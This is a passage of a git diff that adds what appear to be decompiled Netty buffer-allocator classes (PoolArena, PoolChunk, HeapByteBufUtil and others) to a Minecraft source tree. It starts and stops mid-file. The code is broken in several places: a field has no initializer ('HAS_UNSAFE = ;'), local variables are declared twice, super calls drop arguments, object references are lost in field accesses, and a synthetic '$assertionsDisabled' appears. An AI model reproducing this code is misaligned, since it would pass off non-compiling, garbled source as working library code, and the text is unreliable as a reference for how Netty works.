+    return (int)writtenBytes;
+  }
+  
+
+  public ByteBuf getBytes(int index, OutputStream out, int length)
+    throws IOException
+  {
+    checkIndex(index, length);
+    if (length == 0) {
+      return this;
+    }
+    
+    Component c = findComponent(index);
+    int i = index;
+    int adjustment = offset;
+    ByteBuf s = buf;
+    for (;;) {
+      int localLength = Math.min(length, s.readableBytes() - (index - adjustment));
+      s.getBytes(index - adjustment, out, localLength);
+      index += localLength;
+      length -= localLength;
+      adjustment += s.readableBytes();
+      if (length <= 0) {
+        break;
+      }
+      s = buffer(++i);
+    }
+    return this;
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    checkIndex(index, length);
+    boolean release = true;
+    ByteBuf buf = alloc().buffer(length);
+    try {
+      buf.writeBytes(this, index, length);
+      release = false;
+      return buf;
+    } finally {
+      if (release) {
+        buf.release();
+      }
+    }
+  }
+  
+  public int nioBufferCount()
+  {
+    return nioBufferCount;
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    checkIndex(index, length);
+    if (this.buffers.length == 1) {
+      ByteBuf buf = buffer(0);
+      if (buf.nioBufferCount() == 1) {
+        return buf.nioBuffer(index, length);
+      }
+    }
+    ByteBuffer merged = ByteBuffer.allocate(length).order(order());
+    ByteBuffer[] buffers = nioBuffers(index, length);
+    
+
+    for (int i = 0; i < buffers.length; i++) {
+      merged.put(buffers[i]);
+    }
+    
+    merged.flip();
+    return merged;
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    if (buffers.length == 1) {
+      return buffer(0).internalNioBuffer(index, length);
+    }
+    throw new UnsupportedOperationException();
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    checkIndex(index, length);
+    if (length == 0) {
+      return EmptyArrays.EMPTY_BYTE_BUFFERS;
+    }
+    
+    RecyclableArrayList array = RecyclableArrayList.newInstance(buffers.length);
+    try {
+      Component c = findComponent(index);
+      int i = index;
+      int adjustment = offset;
+      ByteBuf s = buf;
+      int localLength;
+      for (;;) { localLength = Math.min(length, s.readableBytes() - (index - adjustment));
+        switch (s.nioBufferCount()) {
+        case 0: 
+          throw new UnsupportedOperationException();
+        case 1: 
+          array.add(s.nioBuffer(index - adjustment, localLength));
+          break;
+        default: 
+          Collections.addAll(array, s.nioBuffers(index - adjustment, localLength));
+        }
+        
+        index += localLength;
+        length -= localLength;
+        adjustment += s.readableBytes();
+        if (length <= 0) {
+          break;
+        }
+        s = buffer(++i);
+      }
+      
+      return (ByteBuffer[])array.toArray(new ByteBuffer[array.size()]);
+    } finally {
+      array.recycle();
+    }
+  }
+  
+  public boolean hasArray()
+  {
+    return false;
+  }
+  
+  public byte[] array()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public int arrayOffset()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    return false;
+  }
+  
+  public long memoryAddress()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected void deallocate()
+  {
+    for (int i = 0; i < buffers.length; i++) {
+      buffer(i).release();
+    }
+  }
+  
+  public String toString()
+  {
+    String result = super.toString();
+    result = result.substring(0, result.length() - 1);
+    return result + ", components=" + buffers.length + ')';
+  }
+  
+  private static final class Component {
+    private final int index;
+    private final int offset;
+    private final ByteBuf buf;
+    private final int endOffset;
+    
+    Component(int index, int offset, ByteBuf buf) {
+      this.index = index;
+      this.offset = offset;
+      endOffset = (offset + buf.readableBytes());
+      this.buf = buf;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/HeapByteBufUtil.java b/src/minecraft/io/netty/buffer/HeapByteBufUtil.java
new file mode 100644
index 0000000..b9bd49e
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/HeapByteBufUtil.java
@@ -0,0 +1,146 @@
+package io.netty.buffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class HeapByteBufUtil
+{
+  static byte getByte(byte[] memory, int index)
+  {
+    return memory[index];
+  }
+  
+  static short getShort(byte[] memory, int index) {
+    return (short)(memory[index] << 8 | memory[(index + 1)] & 0xFF);
+  }
+  
+  static short getShortLE(byte[] memory, int index) {
+    return (short)(memory[index] & 0xFF | memory[(index + 1)] << 8);
+  }
+  
+  static int getUnsignedMedium(byte[] memory, int index) {
+    return (memory[index] & 0xFF) << 16 | (memory[(index + 1)] & 0xFF) << 8 | memory[(index + 2)] & 0xFF;
+  }
+  
+
+  static int getUnsignedMediumLE(byte[] memory, int index)
+  {
+    return memory[index] & 0xFF | (memory[(index + 1)] & 0xFF) << 8 | (memory[(index + 2)] & 0xFF) << 16;
+  }
+  
+
+  static int getInt(byte[] memory, int index)
+  {
+    return (memory[index] & 0xFF) << 24 | (memory[(index + 1)] & 0xFF) << 16 | (memory[(index + 2)] & 0xFF) << 8 | memory[(index + 3)] & 0xFF;
+  }
+  
+
+
+  static int getIntLE(byte[] memory, int index)
+  {
+    return memory[index] & 0xFF | (memory[(index + 1)] & 0xFF) << 8 | (memory[(index + 2)] & 0xFF) << 16 | (memory[(index + 3)] & 0xFF) << 24;
+  }
+  
+
+
+  static long getLong(byte[] memory, int index)
+  {
+    return (memory[index] & 0xFF) << 56 | (memory[(index + 1)] & 0xFF) << 48 | (memory[(index + 2)] & 0xFF) << 40 | (memory[(index + 3)] & 0xFF) << 32 | (memory[(index + 4)] & 0xFF) << 24 | (memory[(index + 5)] & 0xFF) << 16 | (memory[(index + 6)] & 0xFF) << 8 | memory[(index + 7)] & 0xFF;
+  }
+  
+
+
+
+
+
+
+  static long getLongLE(byte[] memory, int index)
+  {
+    return memory[index] & 0xFF | (memory[(index + 1)] & 0xFF) << 8 | (memory[(index + 2)] & 0xFF) << 16 | (memory[(index + 3)] & 0xFF) << 24 | (memory[(index + 4)] & 0xFF) << 32 | (memory[(index + 5)] & 0xFF) << 40 | (memory[(index + 6)] & 0xFF) << 48 | (memory[(index + 7)] & 0xFF) << 56;
+  }
+  
+
+
+
+
+
+
+  static void setByte(byte[] memory, int index, int value)
+  {
+    memory[index] = ((byte)value);
+  }
+  
+  static void setShort(byte[] memory, int index, int value) {
+    memory[index] = ((byte)(value >>> 8));
+    memory[(index + 1)] = ((byte)value);
+  }
+  
+  static void setShortLE(byte[] memory, int index, int value) {
+    memory[index] = ((byte)value);
+    memory[(index + 1)] = ((byte)(value >>> 8));
+  }
+  
+  static void setMedium(byte[] memory, int index, int value) {
+    memory[index] = ((byte)(value >>> 16));
+    memory[(index + 1)] = ((byte)(value >>> 8));
+    memory[(index + 2)] = ((byte)value);
+  }
+  
+  static void setMediumLE(byte[] memory, int index, int value) {
+    memory[index] = ((byte)value);
+    memory[(index + 1)] = ((byte)(value >>> 8));
+    memory[(index + 2)] = ((byte)(value >>> 16));
+  }
+  
+  static void setInt(byte[] memory, int index, int value) {
+    memory[index] = ((byte)(value >>> 24));
+    memory[(index + 1)] = ((byte)(value >>> 16));
+    memory[(index + 2)] = ((byte)(value >>> 8));
+    memory[(index + 3)] = ((byte)value);
+  }
+  
+  static void setIntLE(byte[] memory, int index, int value) {
+    memory[index] = ((byte)value);
+    memory[(index + 1)] = ((byte)(value >>> 8));
+    memory[(index + 2)] = ((byte)(value >>> 16));
+    memory[(index + 3)] = ((byte)(value >>> 24));
+  }
+  
+  static void setLong(byte[] memory, int index, long value) {
+    memory[index] = ((byte)(int)(value >>> 56));
+    memory[(index + 1)] = ((byte)(int)(value >>> 48));
+    memory[(index + 2)] = ((byte)(int)(value >>> 40));
+    memory[(index + 3)] = ((byte)(int)(value >>> 32));
+    memory[(index + 4)] = ((byte)(int)(value >>> 24));
+    memory[(index + 5)] = ((byte)(int)(value >>> 16));
+    memory[(index + 6)] = ((byte)(int)(value >>> 8));
+    memory[(index + 7)] = ((byte)(int)value);
+  }
+  
+  static void setLongLE(byte[] memory, int index, long value) {
+    memory[index] = ((byte)(int)value);
+    memory[(index + 1)] = ((byte)(int)(value >>> 8));
+    memory[(index + 2)] = ((byte)(int)(value >>> 16));
+    memory[(index + 3)] = ((byte)(int)(value >>> 24));
+    memory[(index + 4)] = ((byte)(int)(value >>> 32));
+    memory[(index + 5)] = ((byte)(int)(value >>> 40));
+    memory[(index + 6)] = ((byte)(int)(value >>> 48));
+    memory[(index + 7)] = ((byte)(int)(value >>> 56));
+  }
+  
+  private HeapByteBufUtil() {}
+}
diff --git a/src/minecraft/io/netty/buffer/PoolArena.java b/src/minecraft/io/netty/buffer/PoolArena.java
new file mode 100644
index 0000000..606b174
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/PoolArena.java
@@ -0,0 +1,477 @@
+package io.netty.buffer;
+
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.StringUtil;
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class PoolArena<T>
+{
+  static final int numTinySubpagePools = 32;
+  final PooledByteBufAllocator parent;
+  private final int maxOrder;
+  final int pageSize;
+  final int pageShifts;
+  final int chunkSize;
+  final int subpageOverflowMask;
+  final int numSmallSubpagePools;
+  private final PoolSubpage<T>[] tinySubpagePools;
+  private final PoolSubpage<T>[] smallSubpagePools;
+  private final PoolChunkList<T> q050;
+  private final PoolChunkList<T> q025;
+  private final PoolChunkList<T> q000;
+  private final PoolChunkList<T> qInit;
+  private final PoolChunkList<T> q075;
+  private final PoolChunkList<T> q100;
+  
+  protected PoolArena(PooledByteBufAllocator parent, int pageSize, int maxOrder, int pageShifts, int chunkSize)
+  {
+    this.parent = parent;
+    this.pageSize = pageSize;
+    this.maxOrder = maxOrder;
+    this.pageShifts = pageShifts;
+    this.chunkSize = chunkSize;
+    subpageOverflowMask = (pageSize - 1 ^ 0xFFFFFFFF);
+    tinySubpagePools = newSubpagePoolArray(32);
+    for (int i = 0; i < tinySubpagePools.length; i++) {
+      tinySubpagePools[i] = newSubpagePoolHead(pageSize);
+    }
+    
+    numSmallSubpagePools = (pageShifts - 9);
+    smallSubpagePools = newSubpagePoolArray(numSmallSubpagePools);
+    for (int i = 0; i < smallSubpagePools.length; i++) {
+      smallSubpagePools[i] = newSubpagePoolHead(pageSize);
+    }
+    
+    q100 = new PoolChunkList(this, null, 100, Integer.MAX_VALUE);
+    q075 = new PoolChunkList(this, q100, 75, 100);
+    q050 = new PoolChunkList(this, q075, 50, 100);
+    q025 = new PoolChunkList(this, q050, 25, 75);
+    q000 = new PoolChunkList(this, q025, 1, 50);
+    qInit = new PoolChunkList(this, q000, Integer.MIN_VALUE, 25);
+    
+    q100.prevList = q075;
+    q075.prevList = q050;
+    q050.prevList = q025;
+    q025.prevList = q000;
+    q000.prevList = null;
+    qInit.prevList = qInit;
+  }
+  
+  private PoolSubpage<T> newSubpagePoolHead(int pageSize) {
+    PoolSubpage<T> head = new PoolSubpage(pageSize);
+    prev = head;
+    next = head;
+    return head;
+  }
+  
+  private PoolSubpage<T>[] newSubpagePoolArray(int size)
+  {
+    return new PoolSubpage[size];
+  }
+  
+  abstract boolean isDirect();
+  
+  PooledByteBuf<T> allocate(PoolThreadCache cache, int reqCapacity, int maxCapacity) {
+    PooledByteBuf<T> buf = newByteBuf(maxCapacity);
+    allocate(cache, buf, reqCapacity);
+    return buf;
+  }
+  
+  static int tinyIdx(int normCapacity) {
+    return normCapacity >>> 4;
+  }
+  
+  static int smallIdx(int normCapacity) {
+    int tableIdx = 0;
+    int i = normCapacity >>> 10;
+    while (i != 0) {
+      i >>>= 1;
+      tableIdx++;
+    }
+    return tableIdx;
+  }
+  
+  boolean isTinyOrSmall(int normCapacity)
+  {
+    return (normCapacity & subpageOverflowMask) == 0;
+  }
+  
+  static boolean isTiny(int normCapacity)
+  {
+    return (normCapacity & 0xFE00) == 0;
+  }
+  
+  private void allocate(PoolThreadCache cache, PooledByteBuf<T> buf, int reqCapacity) {
+    int normCapacity = normalizeCapacity(reqCapacity);
+    if (isTinyOrSmall(normCapacity)) { PoolSubpage<T>[] table;
+      int tableIdx;
+      PoolSubpage<T>[] table;
+      if (isTiny(normCapacity)) {
+        if (cache.allocateTiny(this, buf, reqCapacity, normCapacity))
+        {
+          return;
+        }
+        int tableIdx = tinyIdx(normCapacity);
+        table = tinySubpagePools;
+      } else {
+        if (cache.allocateSmall(this, buf, reqCapacity, normCapacity))
+        {
+          return;
+        }
+        tableIdx = smallIdx(normCapacity);
+        table = smallSubpagePools;
+      }
+      
+      synchronized (this) {
+        PoolSubpage<T> head = table[tableIdx];
+        PoolSubpage<T> s = next;
+        if (s != head) {
+          assert ((doNotDestroy) && (elemSize == normCapacity));
+          long handle = s.allocate();
+          assert (handle >= 0L);
+          chunk.initBufWithSubpage(buf, handle, reqCapacity);
+          return;
+        }
+      }
+    } else if (normCapacity <= chunkSize) {
+      if (!cache.allocateNormal(this, buf, reqCapacity, normCapacity)) {}
+
+    }
+    else
+    {
+
+      allocateHuge(buf, reqCapacity);
+      return;
+    }
+    allocateNormal(buf, reqCapacity, normCapacity);
+  }
+  
+  private synchronized void allocateNormal(PooledByteBuf<T> buf, int reqCapacity, int normCapacity) {
+    if ((q050.allocate(buf, reqCapacity, normCapacity)) || (q025.allocate(buf, reqCapacity, normCapacity)) || (q000.allocate(buf, reqCapacity, normCapacity)) || (qInit.allocate(buf, reqCapacity, normCapacity)) || (q075.allocate(buf, reqCapacity, normCapacity)) || (q100.allocate(buf, reqCapacity, normCapacity)))
+    {
+
+      return;
+    }
+    
+
+    PoolChunk<T> c = newChunk(pageSize, maxOrder, pageShifts, chunkSize);
+    long handle = c.allocate(normCapacity);
+    assert (handle > 0L);
+    c.initBuf(buf, handle, reqCapacity);
+    qInit.add(c);
+  }
+  
+  private void allocateHuge(PooledByteBuf<T> buf, int reqCapacity) {
+    buf.initUnpooled(newUnpooledChunk(reqCapacity), reqCapacity);
+  }
+  
+  void free(PoolChunk<T> chunk, long handle, int normCapacity) {
+    if (unpooled) {
+      destroyChunk(chunk);
+    } else {
+      PoolThreadCache cache = (PoolThreadCache)parent.threadCache.get();
+      if (cache.add(this, chunk, handle, normCapacity))
+      {
+        return;
+      }
+      synchronized (this) {
+        parent.free(chunk, handle);
+      }
+    }
+  }
+  
+  PoolSubpage<T> findSubpagePoolHead(int elemSize) { PoolSubpage<T>[] table;
+    int tableIdx;
+    PoolSubpage<T>[] table;
+    if (isTiny(elemSize)) {
+      int tableIdx = elemSize >>> 4;
+      table = tinySubpagePools;
+    } else {
+      tableIdx = 0;
+      elemSize >>>= 10;
+      while (elemSize != 0) {
+        elemSize >>>= 1;
+        tableIdx++;
+      }
+      table = smallSubpagePools;
+    }
+    
+    return table[tableIdx];
+  }
+  
+  int normalizeCapacity(int reqCapacity) {
+    if (reqCapacity < 0) {
+      throw new IllegalArgumentException("capacity: " + reqCapacity + " (expected: 0+)");
+    }
+    if (reqCapacity >= chunkSize) {
+      return reqCapacity;
+    }
+    
+    if (!isTiny(reqCapacity))
+    {
+
+      int normalizedCapacity = reqCapacity;
+      normalizedCapacity--;
+      normalizedCapacity |= normalizedCapacity >>> 1;
+      normalizedCapacity |= normalizedCapacity >>> 2;
+      normalizedCapacity |= normalizedCapacity >>> 4;
+      normalizedCapacity |= normalizedCapacity >>> 8;
+      normalizedCapacity |= normalizedCapacity >>> 16;
+      normalizedCapacity++;
+      
+      if (normalizedCapacity < 0) {
+        normalizedCapacity >>>= 1;
+      }
+      
+      return normalizedCapacity;
+    }
+    
+
+    if ((reqCapacity & 0xF) == 0) {
+      return reqCapacity;
+    }
+    
+    return (reqCapacity & 0xFFFFFFF0) + 16;
+  }
+  
+  void reallocate(PooledByteBuf<T> buf, int newCapacity, boolean freeOldMemory) {
+    if ((newCapacity < 0) || (newCapacity > buf.maxCapacity())) {
+      throw new IllegalArgumentException("newCapacity: " + newCapacity);
+    }
+    
+    int oldCapacity = length;
+    if (oldCapacity == newCapacity) {
+      return;
+    }
+    
+    PoolChunk<T> oldChunk = chunk;
+    long oldHandle = handle;
+    T oldMemory = memory;
+    int oldOffset = offset;
+    int oldMaxLength = maxLength;
+    int readerIndex = buf.readerIndex();
+    int writerIndex = buf.writerIndex();
+    
+    allocate((PoolThreadCache)parent.threadCache.get(), buf, newCapacity);
+    if (newCapacity > oldCapacity) {
+      memoryCopy(oldMemory, oldOffset, memory, offset, oldCapacity);
+
+    }
+    else if (newCapacity < oldCapacity) {
+      if (readerIndex < newCapacity) {
+        if (writerIndex > newCapacity) {
+          writerIndex = newCapacity;
+        }
+        memoryCopy(oldMemory, oldOffset + readerIndex, memory, offset + readerIndex, writerIndex - readerIndex);
+      }
+      else
+      {
+        readerIndex = writerIndex = newCapacity;
+      }
+    }
+    
+    buf.setIndex(readerIndex, writerIndex);
+    
+    if (freeOldMemory)
+      free(oldChunk, oldHandle, oldMaxLength); }
+  
+  protected abstract PoolChunk<T> newChunk(int paramInt1, int paramInt2, int paramInt3, int paramInt4);
+  
+  protected abstract PoolChunk<T> newUnpooledChunk(int paramInt);
+  
+  protected abstract PooledByteBuf<T> newByteBuf(int paramInt);
+  
+  protected abstract void memoryCopy(T paramT1, int paramInt1, T paramT2, int paramInt2, int paramInt3);
+  
+  protected abstract void destroyChunk(PoolChunk<T> paramPoolChunk);
+  public synchronized String toString() { StringBuilder buf = new StringBuilder();
+    buf.append("Chunk(s) at 0~25%:");
+    buf.append(StringUtil.NEWLINE);
+    buf.append(qInit);
+    buf.append(StringUtil.NEWLINE);
+    buf.append("Chunk(s) at 0~50%:");
+    buf.append(StringUtil.NEWLINE);
+    buf.append(q000);
+    buf.append(StringUtil.NEWLINE);
+    buf.append("Chunk(s) at 25~75%:");
+    buf.append(StringUtil.NEWLINE);
+    buf.append(q025);
+    buf.append(StringUtil.NEWLINE);
+    buf.append("Chunk(s) at 50~100%:");
+    buf.append(StringUtil.NEWLINE);
+    buf.append(q050);
+    buf.append(StringUtil.NEWLINE);
+    buf.append("Chunk(s) at 75~100%:");
+    buf.append(StringUtil.NEWLINE);
+    buf.append(q075);
+    buf.append(StringUtil.NEWLINE);
+    buf.append("Chunk(s) at 100%:");
+    buf.append(StringUtil.NEWLINE);
+    buf.append(q100);
+    buf.append(StringUtil.NEWLINE);
+    buf.append("tiny subpages:");
+    for (int i = 1; i < tinySubpagePools.length; i++) {
+      PoolSubpage<T> head = tinySubpagePools[i];
+      if (next != head)
+      {
+
+
+        buf.append(StringUtil.NEWLINE);
+        buf.append(i);
+        buf.append(": ");
+        PoolSubpage<T> s = next;
+        for (;;) {
+          buf.append(s);
+          s = next;
+          if (s == head)
+            break;
+        }
+      }
+    }
+    buf.append(StringUtil.NEWLINE);
+    buf.append("small subpages:");
+    for (int i = 1; i < smallSubpagePools.length; i++) {
+      PoolSubpage<T> head = smallSubpagePools[i];
+      if (next != head)
+      {
+
+
+        buf.append(StringUtil.NEWLINE);
+        buf.append(i);
+        buf.append(": ");
+        PoolSubpage<T> s = next;
+        for (;;) {
+          buf.append(s);
+          s = next;
+          if (s == head)
+            break;
+        }
+      }
+    }
+    buf.append(StringUtil.NEWLINE);
+    
+    return buf.toString();
+  }
+  
+  static final class HeapArena extends PoolArena<byte[]>
+  {
+    HeapArena(PooledByteBufAllocator parent, int pageSize, int maxOrder, int pageShifts, int chunkSize) {
+      super(pageSize, maxOrder, pageShifts, chunkSize);
+    }
+    
+    boolean isDirect()
+    {
+      return false;
+    }
+    
+    protected PoolChunk<byte[]> newChunk(int pageSize, int maxOrder, int pageShifts, int chunkSize)
+    {
+      return new PoolChunk(this, new byte[chunkSize], pageSize, maxOrder, pageShifts, chunkSize);
+    }
+    
+    protected PoolChunk<byte[]> newUnpooledChunk(int capacity)
+    {
+      return new PoolChunk(this, new byte[capacity], capacity);
+    }
+    
+
+
+    protected void destroyChunk(PoolChunk<byte[]> chunk) {}
+    
+
+    protected PooledByteBuf<byte[]> newByteBuf(int maxCapacity)
+    {
+      return PooledHeapByteBuf.newInstance(maxCapacity);
+    }
+    
+    protected void memoryCopy(byte[] src, int srcOffset, byte[] dst, int dstOffset, int length)
+    {
+      if (length == 0) {
+        return;
+      }
+      
+      System.arraycopy(src, srcOffset, dst, dstOffset, length);
+    }
+  }
+  
+  static final class DirectArena extends PoolArena<ByteBuffer>
+  {
+    private static final boolean HAS_UNSAFE = ;
+    
+    DirectArena(PooledByteBufAllocator parent, int pageSize, int maxOrder, int pageShifts, int chunkSize) {
+      super(pageSize, maxOrder, pageShifts, chunkSize);
+    }
+    
+    boolean isDirect()
+    {
+      return true;
+    }
+    
+    protected PoolChunk<ByteBuffer> newChunk(int pageSize, int maxOrder, int pageShifts, int chunkSize)
+    {
+      return new PoolChunk(this, ByteBuffer.allocateDirect(chunkSize), pageSize, maxOrder, pageShifts, chunkSize);
+    }
+    
+
+    protected PoolChunk<ByteBuffer> newUnpooledChunk(int capacity)
+    {
+      return new PoolChunk(this, ByteBuffer.allocateDirect(capacity), capacity);
+    }
+    
+    protected void destroyChunk(PoolChunk<ByteBuffer> chunk)
+    {
+      PlatformDependent.freeDirectBuffer((ByteBuffer)memory);
+    }
+    
+    protected PooledByteBuf<ByteBuffer> newByteBuf(int maxCapacity)
+    {
+      if (HAS_UNSAFE) {
+        return PooledUnsafeDirectByteBuf.newInstance(maxCapacity);
+      }
+      return PooledDirectByteBuf.newInstance(maxCapacity);
+    }
+    
+
+    protected void memoryCopy(ByteBuffer src, int srcOffset, ByteBuffer dst, int dstOffset, int length)
+    {
+      if (length == 0) {
+        return;
+      }
+      
+      if (HAS_UNSAFE) {
+        PlatformDependent.copyMemory(PlatformDependent.directBufferAddress(src) + srcOffset, PlatformDependent.directBufferAddress(dst) + dstOffset, length);
+
+      }
+      else
+      {
+        src = src.duplicate();
+        dst = dst.duplicate();
+        src.position(srcOffset).limit(srcOffset + length);
+        dst.position(dstOffset);
+        dst.put(src);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/PoolArenaMetric.java b/src/minecraft/io/netty/buffer/PoolArenaMetric.java
new file mode 100644
index 0000000..8967ae6
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/PoolArenaMetric.java
@@ -0,0 +1,52 @@
+package io.netty.buffer;
+
+import java.util.List;
+
+public abstract interface PoolArenaMetric
+{
+  public abstract int numThreadCaches();
+  
+  public abstract int numTinySubpages();
+  
+  public abstract int numSmallSubpages();
+  
+  public abstract int numChunkLists();
+  
+  public abstract List<PoolSubpageMetric> tinySubpages();
+  
+  public abstract List<PoolSubpageMetric> smallSubpages();
+  
+  public abstract List<PoolChunkListMetric> chunkLists();
+  
+  public abstract long numAllocations();
+  
+  public abstract long numTinyAllocations();
+  
+  public abstract long numSmallAllocations();
+  
+  public abstract long numNormalAllocations();
+  
+  public abstract long numHugeAllocations();
+  
+  public abstract long numDeallocations();
+  
+  public abstract long numTinyDeallocations();
+  
+  public abstract long numSmallDeallocations();
+  
+  public abstract long numNormalDeallocations();
+  
+  public abstract long numHugeDeallocations();
+  
+  public abstract long numActiveAllocations();
+  
+  public abstract long numActiveTinyAllocations();
+  
+  public abstract long numActiveSmallAllocations();
+  
+  public abstract long numActiveNormalAllocations();
+  
+  public abstract long numActiveHugeAllocations();
+  
+  public abstract long numActiveBytes();
+}
diff --git a/src/minecraft/io/netty/buffer/PoolChunk.java b/src/minecraft/io/netty/buffer/PoolChunk.java
new file mode 100644
index 0000000..dbb29bc
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/PoolChunk.java
@@ -0,0 +1,431 @@
+package io.netty.buffer;
+
+
+
+
+
+
+
+final class PoolChunk<T>
+{
+  final PoolArena<T> arena;
+  
+
+
+
+
+
+  final T memory;
+  
+
+
+
+
+
+  final boolean unpooled;
+  
+
+
+
+
+
+  private final byte[] memoryMap;
+  
+
+
+
+
+
+  private final byte[] depthMap;
+  
+
+
+
+
+
+  private final PoolSubpage<T>[] subpages;
+  
+
+
+
+
+
+  private final int subpageOverflowMask;
+  
+
+
+
+
+
+  private final int pageSize;
+  
+
+
+
+
+
+  private final int pageShifts;
+  
+
+
+
+
+
+  private final int maxOrder;
+  
+
+
+
+
+
+  private final int chunkSize;
+  
+
+
+
+
+
+  private final int log2ChunkSize;
+  
+
+
+
+
+
+  private final int maxSubpageAllocs;
+  
+
+
+
+
+  private final byte unusable;
+  
+
+
+
+
+  private int freeBytes;
+  
+
+
+
+
+  PoolChunkList<T> parent;
+  
+
+
+
+
+  PoolChunk<T> prev;
+  
+
+
+
+
+  PoolChunk<T> next;
+  
+
+
+
+
+
+  PoolChunk(PoolArena<T> arena, T memory, int pageSize, int maxOrder, int pageShifts, int chunkSize)
+  {
+    unpooled = false;
+    this.arena = arena;
+    this.memory = memory;
+    this.pageSize = pageSize;
+    this.pageShifts = pageShifts;
+    this.maxOrder = maxOrder;
+    this.chunkSize = chunkSize;
+    unusable = ((byte)(maxOrder + 1));
+    log2ChunkSize = log2(chunkSize);
+    subpageOverflowMask = (pageSize - 1 ^ 0xFFFFFFFF);
+    freeBytes = chunkSize;
+    
+    assert (maxOrder < 30) : ("maxOrder should be < 30, but is: " + maxOrder);
+    maxSubpageAllocs = (1 << maxOrder);
+    
+
+    memoryMap = new byte[maxSubpageAllocs << 1];
+    depthMap = new byte[memoryMap.length];
+    int memoryMapIndex = 1;
+    for (int d = 0; d <= maxOrder; d++) {
+      int depth = 1 << d;
+      for (int p = 0; p < depth; p++)
+      {
+        memoryMap[memoryMapIndex] = ((byte)d);
+        depthMap[memoryMapIndex] = ((byte)d);
+        memoryMapIndex++;
+      }
+    }
+    
+    subpages = newSubpageArray(maxSubpageAllocs);
+  }
+  
+  PoolChunk(PoolArena<T> arena, T memory, int size)
+  {
+    unpooled = true;
+    this.arena = arena;
+    this.memory = memory;
+    memoryMap = null;
+    depthMap = null;
+    subpages = null;
+    subpageOverflowMask = 0;
+    pageSize = 0;
+    pageShifts = 0;
+    maxOrder = 0;
+    unusable = ((byte)(maxOrder + 1));
+    chunkSize = size;
+    log2ChunkSize = log2(chunkSize);
+    maxSubpageAllocs = 0;
+  }
+  
+  private PoolSubpage<T>[] newSubpageArray(int size)
+  {
+    return new PoolSubpage[size];
+  }
+  
+  int usage() {
+    int freeBytes = this.freeBytes;
+    if (freeBytes == 0) {
+      return 100;
+    }
+    
+    int freePercentage = (int)(freeBytes * 100L / chunkSize);
+    if (freePercentage == 0) {
+      return 99;
+    }
+    return 100 - freePercentage;
+  }
+  
+  long allocate(int normCapacity) {
+    if ((normCapacity & subpageOverflowMask) != 0) {
+      return allocateRun(normCapacity);
+    }
+    return allocateSubpage(normCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  private void updateParentsAlloc(int id)
+  {
+    while (id > 1) {
+      int parentId = id >>> 1;
+      byte val1 = value(id);
+      byte val2 = value(id ^ 0x1);
+      byte val = val1 < val2 ? val1 : val2;
+      setValue(parentId, val);
+      id = parentId;
+    }
+  }
+  
+
+
+
+
+
+
+  private void updateParentsFree(int id)
+  {
+    int logChild = depth(id) + 1;
+    while (id > 1) {
+      int parentId = id >>> 1;
+      byte val1 = value(id);
+      byte val2 = value(id ^ 0x1);
+      logChild--;
+      
+      if ((val1 == logChild) && (val2 == logChild)) {
+        setValue(parentId, (byte)(logChild - 1));
+      } else {
+        byte val = val1 < val2 ? val1 : val2;
+        setValue(parentId, val);
+      }
+      
+      id = parentId;
+    }
+  }
+  
+
+
+
+
+
+
+  private int allocateNode(int d)
+  {
+    int id = 1;
+    int initial = -(1 << d);
+    byte val = value(id);
+    if (val > d) {
+      return -1;
+    }
+    while ((val < d) || ((id & initial) == 0)) {
+      id <<= 1;
+      val = value(id);
+      if (val > d) {
+        id ^= 0x1;
+        val = value(id);
+      }
+    }
+    byte value = value(id);
+    if ((!$assertionsDisabled) && ((value != d) || ((id & initial) != 1 << d))) { throw new AssertionError(String.format("val = %d, id & initial = %d, d = %d", new Object[] { Byte.valueOf(value), Integer.valueOf(id & initial), Integer.valueOf(d) }));
+    }
+    setValue(id, unusable);
+    updateParentsAlloc(id);
+    return id;
+  }
+  
+
+
+
+
+
+  private long allocateRun(int normCapacity)
+  {
+    int d = maxOrder - (log2(normCapacity) - pageShifts);
+    int id = allocateNode(d);
+    if (id < 0) {
+      return id;
+    }
+    freeBytes -= runLength(id);
+    return id;
+  }
+  
+
+
+
+
+
+
+  private long allocateSubpage(int normCapacity)
+  {
+    int d = maxOrder;
+    int id = allocateNode(d);
+    if (id < 0) {
+      return id;
+    }
+    
+    PoolSubpage<T>[] subpages = this.subpages;
+    int pageSize = this.pageSize;
+    
+    freeBytes -= pageSize;
+    
+    int subpageIdx = subpageIdx(id);
+    PoolSubpage<T> subpage = subpages[subpageIdx];
+    if (subpage == null) {
+      subpage = new PoolSubpage(this, id, runOffset(id), pageSize, normCapacity);
+      subpages[subpageIdx] = subpage;
+    } else {
+      subpage.init(normCapacity);
+    }
+    return subpage.allocate();
+  }
+  
+
+
+
+
+
+
+
+  void free(long handle)
+  {
+    int memoryMapIdx = (int)handle;
+    int bitmapIdx = (int)(handle >>> 32);
+    
+    if (bitmapIdx != 0) {
+      PoolSubpage<T> subpage = subpages[subpageIdx(memoryMapIdx)];
+      assert ((subpage != null) && (doNotDestroy));
+      if (subpage.free(bitmapIdx & 0x3FFFFFFF)) {
+        return;
+      }
+    }
+    freeBytes += runLength(memoryMapIdx);
+    setValue(memoryMapIdx, depth(memoryMapIdx));
+    updateParentsFree(memoryMapIdx);
+  }
+  
+  void initBuf(PooledByteBuf<T> buf, long handle, int reqCapacity) {
+    int memoryMapIdx = (int)handle;
+    int bitmapIdx = (int)(handle >>> 32);
+    if (bitmapIdx == 0) {
+      byte val = value(memoryMapIdx);
+      assert (val == unusable) : String.valueOf(val);
